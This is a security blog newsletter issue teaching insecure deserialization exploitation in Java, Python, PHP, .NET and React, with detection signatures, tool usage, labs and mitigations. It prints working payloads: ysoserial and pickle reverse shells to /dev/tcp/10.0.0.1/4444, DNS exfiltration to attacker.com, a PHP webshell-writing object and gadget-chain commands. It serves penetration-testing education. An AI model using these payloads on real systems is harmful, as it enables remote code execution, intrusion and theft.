Deserialization Attacks: When Objects Become Weapons

10 min read

January 25, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

Deserialization Attacks: When Objects Become Weapons

Table of contents

Contents

👋 Introduction

Hey everyone!

Let me be blunt. Deserialization vulnerabilities are criminally underestimated. You find one of these in an app? You’re often one payload away from RCE. Not “maybe if you chain three other bugs.” Not “escalate privileges first.” Just one malicious serialized object and boom, you’ve got a shell.

That’s what makes these so dangerous. Applications take serialized data, reconstruct it into objects, and during that reconstruction process you can execute arbitrary code. The application trusts that serialized blob. You weaponize that trust.

Here’s the kicker: this affects basically every major language. Java has gadget chains that go straight to RCE. Python’s pickle module? The docs literally say “don’t trust this.” PHP’s unserialize() has been getting people popped for over a decade. .NET formatters are exploitable. Even bleeding-edge React Server Components had a serialization bug with a CVSS 10.0 rating.

This week we’re covering everything you need to weaponize deserialization bugs. What they are and why apps use them. How to spot them in the wild. Exploitation techniques across Java, Python, PHP, .NET, and React. Defense strategies. And hands-on labs so you can practice.

Quick note: This issue focuses on classic deserialization. For JavaScript prototype pollution (which shares similar attack patterns through object manipulation), check out Issue #24.

If you test web apps, you need to understand this attack class. Let’s weaponize some objects 👇

🎯 Understanding Serialization

Serialization converts live objects into transmittable data. Binary formats (Java, .NET, Python pickle) or text formats (JSON, XML). Apps need this for:

  • Session management: Storing user sessions in cookies or databases
  • Caching: Serializing objects to Redis or Memcached
  • Microservices: Passing serialized data between services
  • Message queues: RabbitMQ and Kafka transmit serialized messages

Why it’s dangerous:

When apps deserialize untrusted data, the language runtime reconstructs objects and triggers code execution. You control the serialized blob, you control what executes.

Magic methods execute automatically. Python’s __reduce__() fires during pickle deserialization. PHP calls __wakeup() and __destruct(). Java runs readObject(). These automatic method calls become your exploitation primitive.

Gadget chains weaponize existing code. Apps load libraries with classes that have exploitable side effects. Chain these “gadgets” together and you get RCE. Tools like ysoserial automate the entire process.

Apps trust serialized data implicitly. Unlike form input that gets validated, serialized objects often bypass security checks. The app treats them as trustworthy. That misplaced trust is your attack surface.

🔍 Detection

Identify serialized data signatures:

Each language has telltale patterns. Look for base64-encoded blobs in cookies, URL parameters, or POST bodies.

Java serialized objects start with rO0 (base64) or AC ED 00 05 (hex):

rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0...

PHP serialized data is text-based and human-readable:

a:2:{s:8:"username";s:5:"alice";s:4:"role";s:5:"admin";}
O:4:"User":2:{s:4:"name";s:5:"alice";}

Python pickle (base64-encoded):

gASVKAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH0...

.NET BinaryFormatter starts with AAEAAAD:

AAEAAAD/////AQAAAAAAAAAMAgAAAF...

HTTP headers and file extensions also reveal serialization:

Content-Type: application/x-java-serialized-object
Content-Type: application/x-python-pickle

File extensions: .ser (Java), .pickle or .pkl (Python), .bin (generic binary).

Testing for vulnerabilities:

Once you spot serialized data, decode the base64, modify values (username, role, permissions), re-encode, and send it back. If the app accepts your modified object, escalate to malicious payloads.

Test with known-bad payloads:

# Java - trigger 10 second delay
java -jar ysoserial.jar CommonsCollections5 'sleep 10' | base64

# Python - trigger 10 second delay
import pickle, os, base64
class Exploit:
    def __reduce__(self):
        return (os.system, ('sleep 10',))
print(base64.b64encode(pickle.dumps(Exploit())))

Watch for execution evidence: time delays, DNS lookups to your domain, HTTP callbacks, or error messages leaking class names. Any of these confirm code execution.

☕ Java Deserialization

Java deserialization is the OG of this vulnerability class. The Java ecosystem is massive. Libraries everywhere. Apache Commons Collections, Spring Framework. All packed with gadget chains leading to RCE.

How it works:

Java serialization turns objects into byte streams. Classes implement Serializable and the JVM handles everything automatically. Convenient for developers. Perfect for attackers.

The vulnerability triggers when readObject() processes untrusted data you control.

Gadget chains:

Apps load libraries with classes that have exploitable side effects. Each class is a “gadget.” Chain enough together, you get code execution.

Apache Commons Collections (versions 3.1-3.2.1 and 4.0) is the classic example. Loaded with exploitable gadgets. And this library is everywhere in enterprise Java apps.

ysoserial automates everything:

# Generate Commons Collections payload
java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.ser

# Base64 encode for web delivery
cat payload.ser | base64

# DNS exfiltration to confirm execution
java -jar ysoserial.jar CommonsCollections5 'nslookup $(whoami).attacker.com' | base64

# Reverse shell
java -jar ysoserial.jar CommonsCollections5 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' | base64

Your exploitation workflow:

Find serialized Java object (cookie, parameter, POST body). Generate ysoserial payload with DNS callback. Confirm execution. Escalate to full RCE. Pop a reverse shell or exfiltrate data.

Oracle WebLogic Server has been a goldmine for Java deserialization bugs. T3 protocol vulnerabilities. The _async component. Both allowed unauthenticated RCE.

🐍 Python Pickle Exploitation

Python pickle is inherently unsafe. Not “potentially risky if misconfigured.” Inherently unsafe. The official Python docs literally warn you:

“Warning: The pickle module is not secure. Only unpickle data you trust.”

Why pickle is dangerous:

Pickle serializes arbitrary Python objects. Functions, classes, whatever. During deserialization, it executes code through the __reduce__() magic method.

How easy is exploitation? Watch:

import pickle
import os
import base64

class Exploit:
    def __reduce__(self):
        # __reduce__ returns (callable, arguments)
        # This executes os.system('whoami') during unpickling
        return (os.system, ('whoami',))

# Serialize malicious object
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

App calls pickle.loads() on that payload? os.system('whoami') executes. That simple.

Vulnerable code pattern:

import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/load_session', methods=['POST'])
def load_session():
    # VULNERABLE: Deserializing user input
    session_data = request.data
    session = pickle.loads(session_data)
    return f"Loaded session for {session['username']}"

Exploitation:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'
        return (os.system, (cmd,))

payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Send to /load_session endpoint

Pickle bugs show up everywhere. Waitress HTTP Server had one. Python Cryptography Library had one. All led to RCE.

🐘 PHP unserialize() Exploitation

PHP’s unserialize() has been a gift that keeps on giving for over a decade. Legacy PHP apps love deserializing user input without validation.

PHP serialization format:

PHP serialization is text-based and human-readable. Makes it trivial to spot and manipulate:

// Array serialization
a:2:{s:8:"username";s:5:"alice";s:4:"role";s:5:"admin";}

// Object serialization
O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:5:"admin";}

Format breakdown:

  • a:2:{} - Array with 2 elements
  • s:8:"username" - String of length 8
  • O:4:"User" - Object of class “User” with name length 4

Magic methods and POP chains:

PHP magic methods fire automatically during object lifecycle:

__wakeup()    // Called during unserialize()
__destruct()  // Called when object is destroyed
__toString()  // Called when object is treated as string

POP Chains (Property-Oriented Programming) chain object properties and magic methods to achieve code execution. Gadget chains for PHP.

Example vulnerable code:

class Logger {
    private $logfile;

    public function __destruct() {
        // VULNERABLE: Executes during object destruction
        file_put_contents($this->logfile, "Log closed\n", FILE_APPEND);
    }
}

// Somewhere in the application
$data = unserialize($_COOKIE['session']);

Exploitation:

<?php
class Logger {
    private $logfile = '/var/www/html/shell.php';
}

$exploit = new Logger();
echo serialize($exploit);
// O:6:"Logger":1:{s:15:"Loggerlogfile";s:22:"/var/www/html/shell.php";}

App unserializes this? __destruct() writes to /var/www/html/shell.php. Webshell deployed.

PHPGGC automates POP chain exploitation:

# List available gadget chains
./phpggc -l

# Generate Laravel RCE payload
./phpggc Laravel/RCE1 system 'id'

# Generate Symfony RCE payload
./phpggc Symfony/RCE4 system 'whoami'

PHP unserialize bugs keep appearing. cPanel had object injection in session handling. Apache CouchDB had unserialize issues. PHPMailer got hit with object injection via the phar:// wrapper.

⚛️ Modern Frameworks - React Server Components

Serialization bugs aren’t just legacy tech. React Server Components got hit with CVE-2025-55182, a CVSS 10.0 prototype pollution bug in the Flight Protocol.

Attack vector:

{
  "__proto__": {
    "isAdmin": true,
    "shell": "require('child_process').exec('whoami')"
  }
}

User input flows into Flight serialization. Malicious object pollutes Object.prototype. Downstream code executes contaminated property. RCE in Node.js context. Actively exploited in the wild.

Fix: Update to React >= 19.1.0 or Next.js >= 15.3.2. Check Issue #24 for prototype pollution fundamentals.

Serialization bugs exist everywhere. Legacy Java apps. Cutting-edge JavaScript frameworks. Everywhere.

🔷 .NET Deserialization

Microsoft officially says BinaryFormatter is dangerous and you shouldn’t use it. They gave up trying to secure it.

ysoserial.net generates .NET payloads:

# BinaryFormatter
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "whoami"

# JSON.NET TypeNameHandling
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc"

JSON.NET with TypeNameHandling.All includes type info that enables RCE:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": { "$type": "System.Diagnostics.Process, System" }
}

Microsoft SharePoint gets owned via .NET deserialization in the ViewState parameter. Unauthenticated RCE. Core .NET Framework components (DataSet, DataTable) have had multiple bugs.

🛠️ Tools for Deserialization Testing

ysoserial - Your go-to for Java deserialization. Generates payloads for dozens of Java libraries.

# Download and use
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
java -jar ysoserial-all.jar [payload] [command]

ysoserial.net - The .NET equivalent. Supports BinaryFormatter, NetDataContractSerializer, JSON.NET, and more.

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64

PHPGGC - Automates POP chain exploitation for PHP frameworks. Laravel, Symfony, WordPress, you name it.

./phpggc Laravel/RCE1 system 'id' | base64

marshalsec - Research toolkit for Java unmarshalling bugs. JNDI injection, RMI exploitation, gadget chain research.

Burp Suite Extensions:

  • Java Deserialization Scanner: Automates detection of Java deserialization bugs
  • Freddy: Active and passive scanner for deserialization across multiple languages

🧪 Labs

PortSwigger Web Security Academy - Insecure Deserialization: Comprehensive labs covering PHP object manipulation, Java gadget chains, PHPGGC exploitation, and custom chain development.

HackTheBox Machines:

  • Arkham (Medium): Java deserialization via ViewState
  • Tenet (Medium): PHP unserialize() exploitation
  • JSON (Medium): .NET JSON.NET TypeNameHandling
  • Fatty (Insane): Custom Java gadget chains

🔒 Defense and Mitigation

Golden rule: Never deserialize untrusted data.

You control the serialization source and transmission channel? Safe. Users can influence the serialized data? Vulnerable.

Use safe serialization formats:

Replace binary serialization with safer alternatives:

# UNSAFE
import pickle
data = pickle.loads(user_input)

# SAFE
import json
data = json.loads(user_input)

JSON, XML, and Protocol Buffers can’t execute arbitrary code during deserialization. Use them.

Language-specific mitigations:

Java: Use ObjectInputFilter (JDK 9+) to whitelist allowed classes:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.example.SafeClass;!*");
ois.setObjectInputFilter(filter);

Python: Use json instead of pickle. If pickle is required, implement class validation with RestrictedUnpickler.

.NET: Avoid BinaryFormatter entirely. Use System.Text.Json or MessagePack.

PHP: Use allowed_classes option:

// Only allow specific classes
$data = unserialize($input, ['allowed_classes' => ['User', 'Session']]);

// Disallow all classes (primitives only)
$data = unserialize($input, ['allowed_classes' => false]);

Monitor and detect:

Log all deserialization operations. Alert on known malicious class names (CommonsCollections, ObjectDataProvider). Implement rate limiting on deserialization endpoints.

🎯 Key Takeaways

Deserialization bugs give you direct RCE. No chaining. No privilege escalation. Find it, exploit it, you’ve got code execution.

Every major language is vulnerable. Java (ysoserial gadget chains), Python (pickle is inherently unsafe), PHP (POP chains), .NET (BinaryFormatter deprecated), React (CVSS 10.0 prototype pollution). All exploitable.

Detection is straightforward. Base64 blobs in cookies or POST bodies. Specific signatures: rO0 (Java), gASV (Python pickle), O:4:"User" (PHP), AAEAAAD (.NET). Once you know the patterns, exploitation is trivial.

Tools automate everything. ysoserial, ysoserial.net, PHPGGC. Most attacks don’t need custom gadget chains.


That’s it for this week.

The challenge is recognition. Serialized data is buried in cookies, POST bodies, binary protocols. Learn those signatures. Master the tools. Practice on PortSwigger labs and HackTheBox machines.

Golden rule: never deserialize untrusted data.

Thanks for reading, and happy hunting!

— Ruben

Other Issues

Kubernetes for Pentesters: Breaking Orchestrated Infrastructure from Zero
Kubernetes for Pentesters: Breaking Orchestrated Infrastructure from Zero

Previous Issue

WiFi Hacking 101: Breaking Into Wireless Networks (Part 1)

Next Issue

WiFi Hacking 101: Breaking Into Wireless Networks (Part 1)

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media